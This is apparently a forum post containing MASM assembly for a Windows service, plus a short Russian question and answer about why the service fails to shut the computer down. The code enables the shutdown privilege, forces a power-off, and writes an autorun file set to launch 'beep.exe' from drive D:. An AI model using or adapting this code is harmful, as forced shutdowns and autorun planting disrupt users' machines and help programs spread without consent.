SSTATUS STRUC
STYPE DD ?
SSTATE DD ?
SACCEPT DD ?
SEXCODE DD ?
SEXSCOD DD ?
SCHEKPO DD ?
SWAITHI DD ?
SSTATUS ENDS
CRST EQU SERVICE_CONTROL_STOP OR SERVICE_CONTROL_SHUTDOWN OR SERVICE_CONTROL_CONTINUE
.data
sname db "MyService",0h
dts dd offset sname,offset winserv,0h,0h
.data?
h1 dd ?
srs SSTATUS <>
.code
.data
tkp TOKEN_PRIVILEGES<>
sys OSVERSIONINFO<>
SeShut DB "SeShutdownPrivilege",0h
.code
FShutdownSystem proc
mov sys.dwOSVersionInfoSize,sizeof OSVERSIONINFO
invoke GetVersionEx,offset sys
.if sys.dwPlatformId==2
call GetRights
invoke ExitWindowsEx,EWX_POWEROFF,0
.else
invoke ExitWindowsEx,EWX_POWEROFF,0
.ENDIF
mov eax,FALSE
ret
FShutdownSystem Endp
GetRights proc
LOCAL pro:DWORD
LOCAL hto:DWORD
push ecx
invoke GetCurrentProcess
mov ecx,eax
invoke OpenProcessToken,ecx,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,addr hto
mov ecx,eax
jecxz erro
invoke LookupPrivilegeValue,0,offset SeShut,offset tkp.Privileges[0].Luid
mov ecx,eax
jecxz erro
mov tkp.PrivilegeCount,1
mov tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
invoke AdjustTokenPrivileges,hto,0,addr tkp,0,0,0
mov ecx,eax
jecxz erro
pop ecx
xor eax,eax
inc eax
ret
erro:
xor eax,eax
ret
GetRights Endp
myservice proc
local handle:DWORD
again:
.data
lpfile db "D:\autorun.ini",0h
.code
invoke CreateFile,offset lpfile,GENERIC_WRITE or GENERIC_READ,0h,0h,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0h
mov handle,eax
.data
buffer db "[autorun]",0Dh,0Ah,"OPEN=beep.exe",0Dh,0Ah,"ICON=icon2.ico",0h
.data?
bytes dd ?
.code
invoke GetLastError
.if eax!=ERROR_ALREADY_EXISTS
invoke WriteFile,handle,offset buffer,sizeof buffer-1h,offset bytes,0h
.endif
invoke CloseHandle,handle
invoke Sleep,4000
;jmp again
ret
myservice endp
_start proc
invoke StartServiceCtrlDispatcher,offset dts
invoke ExitProcess,0h
_start endp
winserv PROTO :DWORD,:DWORD
handler PROTO :DWORD
winserv proc wParam,lParam
mov srs.STYPE,SERVICE_WIN32_OWN_PROCESS
mov srs.SSTATE,SERVICE_RUNNING
mov srs.SACCEPT,CRST
mov srs.SEXCODE,0
mov srs.SEXSCOD,0
mov srs.SCHEKPO,0
mov srs.SWAITHI,1
invoke RegisterServiceCtrlHandler,offset sname,offset handler
mov h1,eax
invoke SetServiceStatus,h1,offset srs
invoke Sleep,10000
call FShutdownSystem
call myservice
invoke MessageBox,0h,offset sname,offset sname,MB_SERVICE_NOTIFICATION
;invoke Sleep,2000h
mov srs.SSTATE,SERVICE_CONTROL_STOP
invoke SetServiceStatus,h1,offset srs
ret
winserv endp
handler proc lParam
INC srs.SCHEKPO
MOV EAX, DWORD PTR [EBP+08H]
CMP EAX,SERVICE_CONTROL_STOP
JNZ NO_STOP
MOV srs.SSTATE,SERVICE_CONTROL_STOP
JMP _SET
NO_STOP:
CMP EAX,SERVICE_CONTROL_SHUTDOWN
JNZ NO_SHUTDOWN
MOV srs.SSTATE,SERVICE_CONTROL_STOP
JMP _SET
NO_SHUTDOWN:
CMP EAX,SERVICE_CONTROL_CONTINUE
JNZ NO_CONTINUE
MOV srs.SSTATE,SERVICE_CONTROL_CONTINUE
JMP _SET
NO_CONTINUE:
CMP EAX,SERVICE_CONTROL_INTERROGATE
_SET:
invoke SetServiceStatus,h1,offset srs
;invoke MessageBox,0h,offset sname,offset sname,MB_SERVICE_NOTIFICATION
ret
handler endp
end _start
Почему приложение вырубает комп, а служба нет?
Вызывай после всего GetLastError(), тогда, скорее всего, найдёшь, где ошибка.